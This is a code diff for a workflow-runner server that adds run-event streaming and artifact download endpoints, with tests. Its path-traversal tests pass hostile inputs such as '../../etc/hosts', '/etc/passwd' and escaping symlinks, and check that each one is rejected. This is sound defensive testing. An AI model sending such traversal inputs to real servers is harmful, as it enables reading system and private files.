assert.equal(bodyJson(again).error.code, "E_RUN_TERMINAL"); }); + +// === events + artifacts === + +/** Run `ping` to completion with its `run_dir` pointed at a real temp dir. */ +async function runWithDir(runDir: string): Promise<{ h: ServeHandler; runId: string }> { + const h = makeHandler({ + tools: [NOARG_TOOL], + callTool: async () => ({ text: "ok", isError: false, exitStatus: 0, runDir }), + }); + const started = bodyJson(await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true"))); + return { h, runId: started.run_id }; +} + +function fakeTarget(): StreamTarget & { chunks: string[] } { + const chunks: string[] = []; + return { + chunks, + write: (c: string) => void chunks.push(c), + aborted: false, + onAbort: () => {}, + }; +} + +test("events + artifacts on an unknown run id are 404", async () => { + const h = makeHandler(); + for (const path of ["/v1/runs/nope/events", "/v1/runs/nope/artifacts", "/v1/runs/nope/artifacts/x.txt"]) { + const res = await h.handleRequest(req("GET", path)); + assert.equal(res.status, 404, `${path} → 404`); + assert.equal(bodyJson(res).error.code, "E_NOT_FOUND"); + } +}); + +test("events + artifacts require the bearer token when one is configured", async () => { + const h = makeHandler({ token: "secret" }); + for (const path of ["/v1/runs/x/events", "/v1/runs/x/artifacts", "/v1/runs/x/artifacts/f"]) { + assert.equal((await h.handleRequest(req("GET", path))).status, 401, `${path} → 401`); + } +}); + +test("NDJSON events on a terminal run byte-match the run_summary.jsonl file", async () => { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-h-ndjson-")); + try { + const journal = '{"type":"WORKFLOW_START","run_id":"r"}\n{"type":"WORKFLOW_END","run_id":"r"}\n'; + writeFileSync(join(runDir, "run_summary.jsonl"), journal); + const { h, runId } = await runWithDir(runDir); + const res = await h.handleRequest(req("GET", `/v1/runs/${runId}/events`)); + assert.equal(res.status, 200); + assert.equal(res.headers["content-type"], "application/x-ndjson"); + assert.ok(res.bodyBuffer, "NDJSON is served as a binary body"); + assert.deepEqual(res.bodyBuffer, readFileSync(join(runDir, "run_summary.jsonl")), "byte-identical to the journal"); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("SSE events on a terminal run replay the journal then close with event: end", async () => { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-h-sse-")); + try { + const lines = ['{"type":"WORKFLOW_START","run_id":"r"}', '{"type":"WORKFLOW_END","run_id":"r"}']; + writeFileSync(join(runDir, "run_summary.jsonl"), lines.map((l) => `${l}\n`).join("")); + const { h, runId } = await runWithDir(runDir); + const res = await h.handleRequest(req("GET", `/v1/runs/${runId}/events`, { headers: { accept: "text/event-stream" } })); + assert.equal(res.status, 200); + assert.equal(res.headers["content-type"], "text/event-stream"); + assert.ok(res.stream, "SSE is served as a stream"); + const target = fakeTarget(); + await res.stream!(target); + const dataPayloads = target.chunks.filter((c) => c.startsWith("data: ")).map((c) => c.slice(6).replace(/\n\n$/, "")); + assert.deepEqual(dataPayloads, lines); + assert.equal(target.chunks[target.chunks.length - 1], "event: end\ndata: {}\n\n"); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("artifacts round-trip through the handler: list then byte-identical download", async () => { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-h-art-")); + try { + mkdirSync(join(runDir, "artifacts"), { recursive: true }); + const payload = Buffer.from("artifact bytes\nbinary", "utf8"); + writeFileSync(join(runDir, "artifacts", "out.bin"), payload); + writeFileSync(join(runDir, "run_summary.jsonl"), ""); + const { h, runId } = await runWithDir(runDir); + + const list = await h.handleRequest(req("GET", `/v1/runs/${runId}/artifacts`)); + assert.equal(list.status, 200); + assert.deepEqual( + bodyJson(list).artifacts.map((a: any) => a.path), + ["out.bin"], + ); + + const dl = await h.handleRequest(req("GET", `/v1/runs/${runId}/artifacts/out.bin`)); + assert.equal(dl.status, 200); + assert.equal(dl.headers["content-type"], "application/octet-stream"); + assert.match(dl.headers["content-disposition"], /filename="out\.bin"/); + assert.deepEqual(dl.bodyBuffer, payload, "downloaded bytes match the published file"); + + // Traversal to a run-dir file (not under artifacts/) is a 404. + const escape = await h.handleRequest(req("GET", `/v1/runs/${runId}/artifacts/${encodeURIComponent("../run_summary.jsonl")}`)); + assert.equal(escape.status, 404); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("artifacts list is empty for a run with no published files", async () => { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-h-empty-")); + try { + writeFileSync(join(runDir, "run_summary.jsonl"), ""); + const { h, runId } = await runWithDir(runDir); + const list = await h.handleRequest(req("GET", `/v1/runs/${runId}/artifacts`)); + assert.deepEqual(bodyJson(list).artifacts, []); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); diff --git a/src/cli/serve/handler.ts b/src/cli/serve/handler.ts index 7f89fef3..59047180 100644 --- a/src/cli/serve/handler.ts +++ b/src/cli/serve/handler.ts @@ -1,8 +1,17 @@ import { randomUUID, timingSafeEqual } from "node:crypto"; +import { existsSync, readFileSync } from "node:fs"; +import { basename, join } from "node:path"; import type { McpToolSpec } from "../mcp/tools"; import type { WorkflowCallResult, WorkflowCallContext } from "../exec/call"; import { buildOpenApi } from "./openapi"; import { DOCS_HTML } from "./docs"; +import { + listArtifacts, + resolveArtifactPath, + streamRunEventsSse, + RUN_SUMMARY, + type StreamTarget, +} from "./runfiles"; /** 1 MiB cap on request bodies (design doc). */ export const MAX_BODY_BYTES = 1024 * 1024; @@ -46,6 +55,15 @@ export interface ServeResponse { status: number; headers: Record; body: string; + /** Binary body (artifact download / NDJSON journal); takes precedence over `body`. */ + bodyBuffer?: Buffer; + /** + * When set, the HTTP layer streams the body by driving this function instead + * of writing `body` — used for the SSE event follow. It resolves when the + * stream is complete (run terminal or client gone); the layer then ends the + * response. + */ + stream?: (target: StreamTarget) => Promise; } export interface ServeHandlerOptions { @@ -69,6 +87,18 @@ export interface ServeHandlerOptions { now: () => string; /** Run-id source, injectable for tests. Defaults to `randomUUID`. */ newRunId?: () => string; + /** + * Resolve a run's host-side run directory (the one holding + * `run_summary.jsonl` and `artifacts/`). Called live — mid-run and after — + * for the events/artifacts endpoints. Defaults to the record's own `run_dir` + * (populated at finalize); the server supplies a resolver that also scans the + * runs root by run id so a still-running run is reachable. + */ + resolveRunDir?: (record: RunRecord) => string | null; + /** SSE journal-follow poll interval (ms). Defaults to 250. */ + ssePollMs?: number; + /** SSE keep-alive comment cadence (ms). Defaults to 15000. */ + sseKeepAliveMs?: number; } function isTerminal(status: RunStatus): boolean { @@ -170,6 +200,24 @@ export class ServeHandler { return this.json(200, { runs }); } + const events = /^\/v1\/runs\/([^/]+)\/events$/.exec(path); + if (events) { + if (method !== "GET") return this.methodNotAllowed(); + return this.runEvents(req, decodeURIComponent(events[1])); + } + + const artifactsList = /^\/v1\/runs\/([^/]+)\/artifacts$/.exec(path); + if (artifactsList) { + if (method !== "GET") return this.methodNotAllowed(); + return this.listRunArtifacts(decodeURIComponent(artifactsList[1])); + } + + const artifactGet = /^\/v1\/runs\/([^/]+)\/artifacts\/(.+)$/.exec(path); + if (artifactGet) { + if (method !== "GET") return this.methodNotAllowed(); + return this.downloadArtifact(decodeURIComponent(artifactGet[1]), artifactGet[2]); + } + const cancel = /^\/v1\/runs\/([^/]+)\/cancel$/.exec(path); if (cancel) { if (method !== "POST") return this.methodNotAllowed(); @@ -283,6 +331,92 @@ export class ServeHandler { return { status: 202, headers: { "content-type": "application/json" }, body: JSON.stringify(this.toRunObject(record)) }; } + /** Host-side run dir for a record: injected resolver, else its own `run_dir`. */ + private runDirFor(record: RunRecord): string | null { + return this.opts.resolveRunDir ? this.opts.resolveRunDir(record) : record.run_dir; + } + + /** + * `GET /v1/runs/{id}/events`. Default: the run's `run_summary.jsonl` as + * `application/x-ndjson`, verbatim, then close. `Accept: text/event-stream`: + * SSE replay + live follow until the run is terminal. The journal's own + * redaction is the redaction guarantee; raw capture files are never served. + */ + private runEvents(req: ServeRequest, id: string): ServeResponse { + const record = this.runs.get(id); + if (!record) return this.error(404, "E_NOT_FOUND", "unknown run id"); + const wantsSse = (req.headers["accept"] ?? "").includes("text/event-stream"); + const resolveRunDir = (): string | null => this.runDirFor(record); + if (!wantsSse) { + const dir = resolveRunDir(); + const file = dir ? join(dir, RUN_SUMMARY) : null; + const bodyBuffer = file && existsSync(file) ? readFileSync(file) : Buffer.alloc(0); + return { status: 200, headers: { "content-type": "application/x-ndjson" }, body: "", bodyBuffer }; + } + return { + status: 200, + headers: { + "content-type": "text/event-stream", + "cache-control": "no-cache", + connection: "keep-alive", + }, + body: "", + stream: (target) => + streamRunEventsSse(target, { + resolveRunDir, + isTerminal: () => isTerminal(record.status), + pollMs: this.opts.ssePollMs ?? 250, + keepAliveMs: this.opts.sseKeepAliveMs ?? 15000, + }), + }; + } + + /** `GET /v1/runs/{id}/artifacts`: JSON list of published files (empty when none). */ + private listRunArtifacts(id: string): ServeResponse { + const record = this.runs.get(id); + if (!record) return this.error(404, "E_NOT_FOUND", "unknown run id"); + const dir = this.runDirFor(record); + return this.json(200, { artifacts: dir ? listArtifacts(dir) : [] }); + } + + /** + * `GET /v1/runs/{id}/artifacts/{path}`: download one published file as + * `application/octet-stream`. Traversal-proof — anything escaping the run's + * `artifacts/` dir (`..`, absolute paths, escaping symlinks) is a 404, and + * raw `%06d-*.out`/`.err` capture files (run-dir root, not `artifacts/`) are + * unreachable by construction. + */ + private downloadArtifact(id: string, rawPath: string): ServeResponse { + const record = this.runs.get(id); + if (!record) return this.error(404, "E_NOT_FOUND", "unknown run id"); + const dir = this.runDirFor(record); + if (!dir) return this.error(404, "E_NOT_FOUND", "unknown artifact"); + let requested: string; + try { + requested = decodeURIComponent(rawPath); + } catch { + return this.error(404, "E_NOT_FOUND", "unknown artifact"); + } + const abs = resolveArtifactPath(dir, requested); + if (!abs) return this.error(404, "E_NOT_FOUND", "unknown artifact"); + let bodyBuffer: Buffer; + try { + bodyBuffer = readFileSync(abs); + } catch { + return this.error(404, "E_NOT_FOUND", "unknown artifact"); + } + const filename = basename(abs).replace(/"/g, ""); + return { + status: 200, + headers: { + "content-type": "application/octet-stream", + "content-disposition": `attachment; filename="${filename}"`, + }, + body: "", + bodyBuffer, + }; + } + private finalize(record: RunRecord, result: WorkflowCallResult): void { record.ended_at = this.opts.now(); record.exit_status = result.exitStatus ?? null; diff --git a/src/cli/serve/openapi.ts b/src/cli/serve/openapi.ts index b5948e99..eb87cc1b 100644 --- a/src/cli/serve/openapi.ts +++ b/src/cli/serve/openapi.ts @@ -177,6 +177,89 @@ export function buildOpenApi(tools: McpToolSpec[], serverInfo: OpenApiServerInfo }, }; + paths["/v1/runs/{id}/events"] = { + get: { + operationId: "getRunEvents", + summary: "Stream a run's event journal", + description: + "The run's durable `run_summary.jsonl`. Default: `application/x-ndjson` snapshot. " + + "With `Accept: text/event-stream`, Server-Sent Events replay the journal then follow it " + + "live until the run is terminal (`event: end`). The journal is served verbatim — already " + + "credential-redacted; raw step capture files are never exposed.", + security: BEARER_SECURITY, + parameters: [{ name: "id", in: "path", required: true, schema: { type: "string" } }], + responses: { + "200": { + description: "The event journal (NDJSON snapshot or an SSE stream).", + content: { + "application/x-ndjson": { schema: { type: "string" } }, + "text/event-stream": { schema: { type: "string" } }, + }, + }, + "401": errorResponse("Missing or invalid bearer token."), + "404": errorResponse("Unknown run id."), + }, + }, + }; + + paths["/v1/runs/{id}/artifacts"] = { + get: { + operationId: "listRunArtifacts", + summary: "List a run's published artifacts", + security: BEARER_SECURITY, + parameters: [{ name: "id", in: "path", required: true, schema: { type: "string" } }], + responses: { + "200": { + description: "Files published under the run's artifacts directory (empty when none).", + content: { + "application/json": { + schema: { + type: "object", + properties: { + artifacts: { + type: "array", + items: { + type: "object", + properties: { + path: { type: "string" }, + size: { type: "integer" }, + mtime: { type: "string" }, + }, + required: ["path", "size", "mtime"], + }, + }, + }, + required: ["artifacts"], + }, + }, + }, + }, + "401": errorResponse("Missing or invalid bearer token."), + "404": errorResponse("Unknown run id."), + }, + }, + }; + + paths["/v1/runs/{id}/artifacts/{path}"] = { + get: { + operationId: "downloadRunArtifact", + summary: "Download one published artifact", + security: BEARER_SECURITY, + parameters: [ + { name: "id", in: "path", required: true, schema: { type: "string" } }, + { name: "path", in: "path", required: true, schema: { type: "string" } }, + ], + responses: { + "200": { + description: "The artifact bytes.", + content: { "application/octet-stream": { schema: { type: "string", format: "binary" } } }, + }, + "401": errorResponse("Missing or invalid bearer token."), + "404": errorResponse("Unknown run id or artifact (including any path traversal attempt)."), + }, + }, + }; + paths["/v1/runs/{id}/cancel"] = { post: { operationId: "cancelRun", diff --git a/src/cli/serve/runfiles.test.ts b/src/cli/serve/runfiles.test.ts new file mode 100644 index 00000000..81249ced --- /dev/null +++ b/src/cli/serve/runfiles.test.ts @@ -0,0 +1,211 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { mkdirSync, mkdtempSync, realpathSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { listArtifacts, resolveArtifactPath, streamRunEventsSse, type StreamTarget } from "./runfiles"; + +/** A run dir with an `artifacts/` subdir and a couple of raw capture files at the root. */ +function makeRunDir(): string { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-runfiles-")); + const artifacts = join(runDir, "artifacts"); + mkdirSync(artifacts, { recursive: true }); + // Raw step capture files live in the run-dir ROOT, never under artifacts/. + writeFileSync(join(runDir, "000001-build__step.out"), "SECRET stdout capture\n"); + writeFileSync(join(runDir, "000001-build__step.err"), "stderr capture\n"); + writeFileSync(join(runDir, "run_summary.jsonl"), ""); + return runDir; +} + +// === listArtifacts === + +test("listArtifacts returns [] when there is no artifacts dir", () => { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-noart-")); + try { + assert.deepEqual(listArtifacts(runDir), []); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("listArtifacts lists regular files recursively and never the .out/.err captures", () => { + const runDir = makeRunDir(); + try { + writeFileSync(join(runDir, "artifacts", "report.txt"), "hello"); + mkdirSync(join(runDir, "artifacts", "nested"), { recursive: true }); + writeFileSync(join(runDir, "artifacts", "nested", "deep.bin"), Buffer.from([1, 2, 3])); + const entries = listArtifacts(runDir); + assert.deepEqual( + entries.map((e) => e.path), + ["nested/deep.bin", "report.txt"], + "recursive, sorted, POSIX-relative; no capture files", + ); + const report = entries.find((e) => e.path === "report.txt")!; + assert.equal(report.size, 5); + assert.equal(typeof report.mtime, "string"); + // The capture files exist in the run dir but must never surface as artifacts. + assert.ok(!entries.some((e) => e.path.endsWith(".out") || e.path.endsWith(".err"))); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +// === resolveArtifactPath: traversal battery === + +test("resolveArtifactPath serves a contained regular file (and a nested one)", () => { + const runDir = makeRunDir(); + try { + writeFileSync(join(runDir, "artifacts", "ok.txt"), "data"); + mkdirSync(join(runDir, "artifacts", "sub"), { recursive: true }); + writeFileSync(join(runDir, "artifacts", "sub", "inner.txt"), "data2"); + assert.equal(resolveArtifactPath(runDir, "ok.txt"), realpathSync(join(runDir, "artifacts", "ok.txt"))); + assert.equal(resolveArtifactPath(runDir, "sub/inner.txt"), realpathSync(join(runDir, "artifacts", "sub", "inner.txt"))); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("resolveArtifactPath rejects a ../-containing path escaping artifacts/", () => { + const runDir = makeRunDir(); + try { + // Points at a real capture file in the run-dir root — must still be null. + assert.equal(resolveArtifactPath(runDir, "../000001-build__step.out"), null); + assert.equal(resolveArtifactPath(runDir, "../../etc/hosts"), null); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("resolveArtifactPath rejects an absolute path", () => { + const runDir = makeRunDir(); + try { + assert.equal(resolveArtifactPath(runDir, "/etc/passwd"), null); + assert.equal(resolveArtifactPath(runDir, join(runDir, "run_summary.jsonl")), null); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("resolveArtifactPath rejects an empty or NUL-bearing request and a directory", () => { + const runDir = makeRunDir(); + try { + mkdirSync(join(runDir, "artifacts", "adir"), { recursive: true }); + assert.equal(resolveArtifactPath(runDir, ""), null); + assert.equal(resolveArtifactPath(runDir, "a\0b"), null); + assert.equal(resolveArtifactPath(runDir, "adir"), null, "a directory is not a downloadable artifact"); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("resolveArtifactPath rejects a symlink escaping artifacts/ without reading the target", () => { + const runDir = makeRunDir(); + try { + // A symlink INSIDE artifacts pointing OUTSIDE (at a run-dir capture file). + symlinkSync(join(runDir, "000001-build__step.out"), join(runDir, "artifacts", "escape.txt")); + assert.equal(resolveArtifactPath(runDir, "escape.txt"), null); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("resolveArtifactPath serves a symlink whose target is inside artifacts/", () => { + const runDir = makeRunDir(); + try { + writeFileSync(join(runDir, "artifacts", "real.txt"), "payload"); + symlinkSync(join(runDir, "artifacts", "real.txt"), join(runDir, "artifacts", "link.txt")); + const resolved = resolveArtifactPath(runDir, "link.txt"); + assert.equal(resolved, realpathSync(join(runDir, "artifacts", "real.txt")), "resolves to the contained real target"); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("no capture file is reachable: an artifacts/ symlink to a .out is rejected", () => { + const runDir = makeRunDir(); + try { + symlinkSync(join(runDir, "000001-build__step.out"), join(runDir, "artifacts", "leak.out")); + assert.equal(resolveArtifactPath(runDir, "leak.out"), null, "cannot download a capture file via a symlink"); + // And a direct traversal to either capture extension is rejected too. + assert.equal(resolveArtifactPath(runDir, "../000001-build__step.out"), null); + assert.equal(resolveArtifactPath(runDir, "../000001-build__step.err"), null); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +// === SSE framing === + +/** Collect every write; report `aborted` and run abort callbacks on demand. */ +function fakeTarget(): StreamTarget & { chunks: string[]; abort: () => void } { + let aborted = false; + const cbs: Array<() => void> = []; + const chunks: string[] = []; + return { + chunks, + write(chunk: string): void { + chunks.push(chunk); + }, + get aborted(): boolean { + return aborted; + }, + onAbort(cb: () => void): void { + cbs.push(cb); + }, + abort(): void { + aborted = true; + for (const cb of cbs) cb(); + }, + }; +} + +test("streamRunEventsSse replays a terminal run's journal as data: frames then event: end", async () => { + const runDir = makeRunDir(); + try { + const lines = [ + '{"type":"WORKFLOW_START","run_id":"r1"}', + '{"type":"STEP_END","status":0}', + '{"type":"WORKFLOW_END","run_id":"r1"}', + ]; + writeFileSync(join(runDir, "run_summary.jsonl"), lines.map((l) => `${l}\n`).join("")); + const target = fakeTarget(); + await streamRunEventsSse(target, { + resolveRunDir: () => runDir, + isTerminal: () => true, + pollMs: 5, + keepAliveMs: 15000, + }); + // Every journal line arrives as its own `data:` frame, in order (the end + // frame is a distinct `event: end` chunk, not a `data: ` one). + const dataPayloads = target.chunks + .filter((c) => c.startsWith("data: ")) + .map((c) => c.slice("data: ".length).replace(/\n\n$/, "")); + assert.deepEqual(dataPayloads, lines, "concatenated data: payloads equal the journal line set"); + assert.ok(target.chunks.some((c) => c === "event: end\ndata: {}\n\n"), "closes with event: end"); + assert.equal(target.chunks[target.chunks.length - 1], "event: end\ndata: {}\n\n", "end frame is last"); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); + +test("streamRunEventsSse stops promptly when the client disconnects mid-run", async () => { + const runDir = makeRunDir(); + try { + writeFileSync(join(runDir, "run_summary.jsonl"), '{"type":"WORKFLOW_START","run_id":"r1"}\n'); + const target = fakeTarget(); + // Never terminal: the loop would poll forever, but an abort ends it. + const done = streamRunEventsSse(target, { + resolveRunDir: () => runDir, + isTerminal: () => false, + pollMs: 10, + keepAliveMs: 15000, + }); + target.abort(); + await done; + // The initial replay happened; no end frame (client left before terminal). + assert.ok(target.chunks.some((c) => c.startsWith("data: "))); + assert.ok(!target.chunks.some((c) => c.startsWith("event: end"))); + } finally { + rmSync(runDir, { recursive: true, force: true }); + } +}); diff --git a/src/cli/serve/runfiles.ts b/src/cli/serve/runfiles.ts new file mode 100644 index 00000000..adb84abe --- /dev/null +++ b/src/cli/serve/runfiles.ts @@ -0,0 +1,183 @@ +import { existsSync, readFileSync, readdirSync, realpathSync, statSync, type Dirent } from "node:fs"; +import { join, resolve, sep } from "node:path"; + +/** A run's durable journal file name, under its run directory. */ +export const RUN_SUMMARY = "run_summary.jsonl"; + +/** + * A published artifact: a regular file under a run's `artifacts/` directory, + * described by its path relative to that directory (POSIX-style `/` separators), + * byte size, and last-modified time. + */ +export interface ArtifactEntry { + path: string; + size: number; + mtime: string; +} + +/** + * List every regular file under `/artifacts/` (recursively), newest + * paths sorted lexicographically, `[]` when the directory is absent or empty. + * + * Symlinks are skipped: `withFileTypes` reports the entry's own type (an + * `lstat`, never following the link), so a symlink is neither listed as a file + * nor descended into as a directory. Only the durable `artifacts/` tree is + * walked — the raw `%06d-*.out`/`.err` capture files live in the run-dir root + * and are never reached by this function. + */ +export function listArtifacts(runDir: string): ArtifactEntry[] { + const root = join(runDir, "artifacts"); + const out: ArtifactEntry[] = []; + const walk = (dir: string, prefix: string): void => { + let entries: Dirent[]; + try { + entries = readdirSync(dir, { withFileTypes: true }); + } catch { + return; + } + for (const entry of [...entries].sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0))) { + const abs = join(dir, entry.name); + const rel = prefix ? `${prefix}/${entry.name}` : entry.name; + if (entry.isDirectory()) { + walk(abs, rel); + } else if (entry.isFile()) { + try { + const st = statSync(abs); + out.push({ path: rel, size: st.size, mtime: st.mtime.toISOString() }); + } catch { + // File vanished between readdir and stat; skip it. + } + } + // Symlinks and other node types are intentionally ignored. + } + }; + walk(root, ""); + return out; +} + +/** + * Resolve a requested artifact sub-path against `/artifacts/`, + * traversal-proof, returning the absolute real path of a contained regular file + * or `null` if the request escapes the artifacts directory in any way. + * + * Three independent guards, checked before the file is ever read: + * 1. Empty / NUL-bearing requests are rejected outright. + * 2. Lexical containment: `resolve()` collapses `..` and absolute paths, then + * the result must sit strictly under the artifacts dir. + * 3. Symlink containment: `realpathSync` resolves every symlink on the way, and + * the real target must still sit under the real artifacts dir — a symlink + * inside `artifacts/` pointing outside is rejected without reading its target. + */ +export function resolveArtifactPath(runDir: string, requested: string): string | null { + if (requested.length === 0 || requested.includes("\0")) return null; + const artifactsDir = join(runDir, "artifacts"); + const candidate = resolve(artifactsDir, requested); + if (candidate !== artifactsDir && !candidate.startsWith(artifactsDir + sep)) return null; + if (!existsSync(candidate)) return null; + let realArtifacts: string; + let realCandidate: string; + try { + realArtifacts = realpathSync(artifactsDir); + realCandidate = realpathSync(candidate); + } catch { + return null; + } + if (realCandidate !== realArtifacts && !realCandidate.startsWith(realArtifacts + sep)) return null; + let st: ReturnType; + try { + st = statSync(realCandidate); + } catch { + return null; + } + if (!st.isFile()) return null; + return realCandidate; +} + +/** The response-body sink an SSE stream writes to; decoupled from `node:http`. */ +export interface StreamTarget { + write(chunk: string): void; + readonly aborted: boolean; + onAbort(cb: () => void): void; +} + +/** Inputs to the SSE follower — injectable so it is unit-testable without a socket. */ +export interface SseEventsOptions { + /** Re-resolves the run dir each poll (it may appear after the run starts). */ + resolveRunDir: () => string | null; + /** True once the server's registry has marked the run terminal. */ + isTerminal: () => boolean; + /** File-follow poll interval (ms). */ + pollMs: number; + /** Keep-alive comment cadence (ms). */ + keepAliveMs: number; +} + +/** Read complete (newline-terminated) lines from `file` starting at byte `offset`. */ +function readNewLines(file: string, offset: number): { lines: string[]; nextOffset: number } { + let buf: Buffer; + try { + buf = readFileSync(file); + } catch { + return { lines: [], nextOffset: offset }; + } + if (buf.length <= offset) return { lines: [], nextOffset: offset }; + const chunk = buf.toString("utf8", offset); + const lastNl = chunk.lastIndexOf("\n"); + if (lastNl === -1) return { lines: [], nextOffset: offset }; + const complete = chunk.slice(0, lastNl); + const lines = complete.length > 0 ? complete.split("\n") : []; + const nextOffset = offset + Buffer.byteLength(chunk.slice(0, lastNl + 1), "utf8"); + return { lines, nextOffset }; +} + +/** + * SSE follower for a run's durable journal. Replays every existing line as + * `data: `, follows the file as it appends (polling every + * `pollMs`), keeps proxies from idling the connection out with a `:ka` comment + * every `keepAliveMs`, and closes with `event: end` once the run is terminal — + * so it works identically for a still-running run and an already-terminal one + * (full replay + immediate end). + * + * The journal is streamed verbatim: the credential redaction already applied by + * `RuntimeEventEmitter` is the redaction guarantee, and the raw `%06d-*.out`/ + * `.err` capture files are never opened here. + */ +export async function streamRunEventsSse(target: StreamTarget, opts: SseEventsOptions): Promise { + let offset = 0; + let lastKeepAlive = Date.now(); + const flush = (): void => { + const dir = opts.resolveRunDir(); + if (!dir) return; + const { lines, nextOffset } = readNewLines(join(dir, RUN_SUMMARY), offset); + offset = nextOffset; + for (const line of lines) target.write(`data: ${line}\n\n`); + }; + for (;;) { + if (target.aborted) return; + flush(); + if (opts.isTerminal()) { + // A final line (e.g. WORKFLOW_END) may have landed between the read above + // and the registry marking the run terminal; flush once more so the + // stream is complete before closing. + flush(); + target.write("event: end\ndata: {}\n\n"); + return; + } + if (Date.now() - lastKeepAlive >= opts.keepAliveMs) { + target.write(":ka\n\n"); + lastKeepAlive = Date.now(); + } + await sleep(opts.pollMs, target); + } +} + +/** Sleep `ms`, resolving early if the client disconnects. */ +function sleep(ms: number, target: StreamTarget): Promise { + return new Promise((resolveSleep) => { + const timer = setTimeout(resolveSleep, ms); + target.onAbort(() => { + clearTimeout(timer); + resolveSleep(); + }); + }); +} diff --git a/src/cli/serve/server.ts b/src/cli/serve/server.ts index fda1efd5..c9c80fee 100644 --- a/src/cli/serve/server.ts +++ b/src/cli/serve/server.ts @@ -1,6 +1,7 @@ import { createServer, type IncomingMessage, type Server, type ServerResponse } from "node:http"; import type { AddressInfo } from "node:net"; import { MAX_BODY_BYTES, type ServeHandler, type ServeRequest } from "./handler"; +import type { StreamTarget } from "./runfiles"; /** * Wire a `node:http` server to a `ServeHandler`. This is the only place that @@ -26,7 +27,16 @@ export function createHttpServer(handler: ServeHandler, log: (line: string) => v }) .then((response) => { res.writeHead(response.status, response.headers); - res.end(response.body); + if (response.stream) { + // Long-lived streaming response (SSE follow): drive it over a target + // wired to this socket, then end when it resolves. + const target = makeStreamTarget(req, res); + return response.stream(target).then(() => { + res.end(); + }); + } + res.end(response.bodyBuffer ?? response.body); + return undefined; }) .catch((err) => { log(`jaiph serve: request handling failed: ${err instanceof Error ? err.message : String(err)}`); @@ -38,6 +48,36 @@ export function createHttpServer(handler: ServeHandler, log: (line: string) => v }); } +/** + * Wire a `StreamTarget` to a live socket: writes go straight to the response, + * and the client disconnecting (`req` close) flips `aborted` and fires the + * registered callbacks so a follow loop stops promptly instead of writing to a + * dead socket. + */ +function makeStreamTarget(req: IncomingMessage, res: ServerResponse): StreamTarget { + let aborted = false; + const onAbortCbs: Array<() => void> = []; + const abort = (): void => { + if (aborted) return; + aborted = true; + for (const cb of onAbortCbs) cb(); + }; + req.on("close", abort); + res.on("close", abort); + return { + write(chunk: string): void { + if (!aborted && res.writable) res.write(chunk); + }, + get aborted(): boolean { + return aborted; + }, + onAbort(cb: () => void): void { + if (aborted) cb(); + else onAbortCbs.push(cb); + }, + }; +} + /** Read the request body as a string, flagging (and truncating) once it passes the cap. */ function readBody(req: IncomingMessage): Promise<{ body: string; tooLarge: boolean }> { return new Promise((resolve, reject) => { diff --git a/src/cli/shared/errors.ts b/src/cli/shared/errors.ts index f7c13888..9879aafa 100644 --- a/src/cli/shared/errors.ts +++ b/src/cli/shared/errors.ts @@ -223,18 +223,21 @@ export function readFailedStepOutput(summaryPath: string): string | null { } /** - * Discover run directory from the Docker sandbox runs mount. - * In Docker mode the container's meta file is inaccessible from the host, - * so we scan the bind-mounted sandboxRunDir for the latest run directory. + * Locate a run's host-side directory under `runsRoot` by matching `runId` + * against the `WORKFLOW_START` line (always the first line) of each candidate + * `run_summary.jsonl`. Works while the run is still executing (that line is + * written at run start) and in every sandbox mode (the run dir is a host mount + * even under Docker). Scans date/time directories newest-first; returns `null` + * when no run dir matches or `runsRoot` is unreadable. */ -export function discoverDockerRunDir(sandboxRunDir: string, expectedRunId: string): { runDir?: string; summaryFile?: string } { +export function findRunDir(runsRoot: string, runId: string): string | null { try { - const dateDirs = readdirSync(sandboxRunDir) - .filter((d) => !d.startsWith(".") && statSync(join(sandboxRunDir, d)).isDirectory()) + const dateDirs = readdirSync(runsRoot) + .filter((d) => !d.startsWith(".") && statSync(join(runsRoot, d)).isDirectory()) .sort() .reverse(); for (const dateDir of dateDirs) { - const datePath = join(sandboxRunDir, dateDir); + const datePath = join(runsRoot, dateDir); const timeDirs = readdirSync(datePath) .filter((d) => statSync(join(datePath, d)).isDirectory()) .sort() @@ -247,8 +250,8 @@ export function discoverDockerRunDir(sandboxRunDir: string, expectedRunId: strin if (!firstLine) continue; try { const parsed = JSON.parse(firstLine) as { type?: string; run_id?: string }; - if (parsed.type === "WORKFLOW_START" && parsed.run_id === expectedRunId) { - return { runDir, summaryFile }; + if (parsed.type === "WORKFLOW_START" && parsed.run_id === runId) { + return runDir; } } catch { // ignore malformed JSON @@ -256,9 +259,20 @@ export function discoverDockerRunDir(sandboxRunDir: string, expectedRunId: strin } } } catch { - // ignore — sandboxRunDir may not exist or be readable + // ignore — runsRoot may not exist or be readable } - return {}; + return null; +} + +/** + * Discover run directory from the Docker sandbox runs mount. + * In Docker mode the container's meta file is inaccessible from the host, + * so we scan the bind-mounted sandboxRunDir for the matching run directory. + */ +export function discoverDockerRunDir(sandboxRunDir: string, expectedRunId: string): { runDir?: string; summaryFile?: string } { + const runDir = findRunDir(sandboxRunDir, expectedRunId); + if (!runDir) return {}; + return { runDir, summaryFile: join(runDir, "run_summary.jsonl") }; } /** Remap a container-internal 